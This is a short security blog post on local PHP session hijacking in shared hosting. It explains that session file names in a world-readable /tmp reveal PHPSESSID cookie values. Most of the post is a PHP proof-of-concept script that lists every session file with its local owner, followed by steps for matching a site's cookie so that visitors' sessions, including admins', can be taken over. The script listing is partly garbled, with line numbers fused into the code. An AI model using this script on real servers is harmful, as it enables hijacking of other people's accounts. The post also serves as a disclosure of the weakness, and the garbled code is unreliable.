Articles of Haxxor Security

Mango

Recently I discovered that the shared hosting provider I sometimes use is susceptible to this age-old technique that everyone really should know about by now.

PHP's default session handler stores session data in files. And by default these files are placed in /tmp. In a shared enviroment session files should never be placed in a directory that can be read by a malicious local user like the world readable /tmp directory.

Even if the session files might be protected from being read or written by a malicious user, their name leaks valuable information. The name of a typical session file name reads "sess_0m9gnkgenne66kvs3eklhvucjmdpchto". All the numbers and letters following "sess_" are those of the PHPSESSID cookie which that session is tied to. Any local user who can enumerate the files in this directory can therefor hijack the cookies belonging to the visitors of all the websites located in the shared host. One of them might belong to an admin at one of the local websites.

POC

Here is a short script to enumerate session files and their respective local owner.

```
?
  // http://ha.xxor.se/2011/08/local-session-hijacking.html

  // Retrieve the path where session files are saved
1 session_save_path(); // Might have to be called twice... not sure.
2 $sesspath = session_save_path();
3 if(php_sapi_name()!=='cli')echo "
4
5 \n";
6
7 // Test session.save_handler
8 $sessmod = session_module_name();
9 if(empty($sessmod))$sessmod = ini_get('session.save_handler');
10echo "[i] Session save handler: $sessmod\n";
11if($sessmod !== 'files'){
12 echo "[!] Possible Error: session.save_handler is set to '$sessmod'
13instead of 'files'. Trying anyway.\n";
14}
15
16if(empty($sesspath)){
17 $sesspath = ini_get('session.save_path');
18 if(empty($sesspath)){
19  if(function_exists('sys_get_temp_dir')){
20   $sesspath = sys_get_temp_dir();
21  }else{
22   die('Error:Cant fins session save path. Try setting it manualy.');
23  }
24 }
25}
26$sesspath = array_pop(explode(';',$sesspath));
27echo "[i] Session save path: $sesspath\n";
28// Enumerate sessions and their owner.
29clearstatcache();
30echo "\nOwner           File\n";
31if(!findSessIn($sesspath)){
32 die("[!] Error: Cannot open the session save path.\n");
33}
34
```

```
function findSessIn($dir){
 if(!($handler = opendir($dir))){
  return false;
 }
 while ($file = readdir($handler)){
  $path = substr($dir, -1) === DIRECTORY_SEPARATOR ? $dir.$file :
$dir.DIRECTORY_SEPARATOR.$file;
  if (substr($file, 0, 5) === 'sess_'){
   $owner = fileowner($path);
   if(function_exists('posix_getpwuid')){
    $owner = posix_getpwuid($owner);
    $owner = $owner['name'];
   }
   if(strlen($owner) < 16)$owner = substr($owner.str_repeat(' ',15), 0,
15);
   echo "$owner $path\n";
  }elseif(strlen($file) === 1 && is_dir($path) && $file !== '.'){
   findSessIn($path);
  }
 }
 closedir($handler);
  return true;
}
?>
```

To find out which website corresponds to which local user, simply visit the website, grab your cookie and then search for its value and the local user in the list.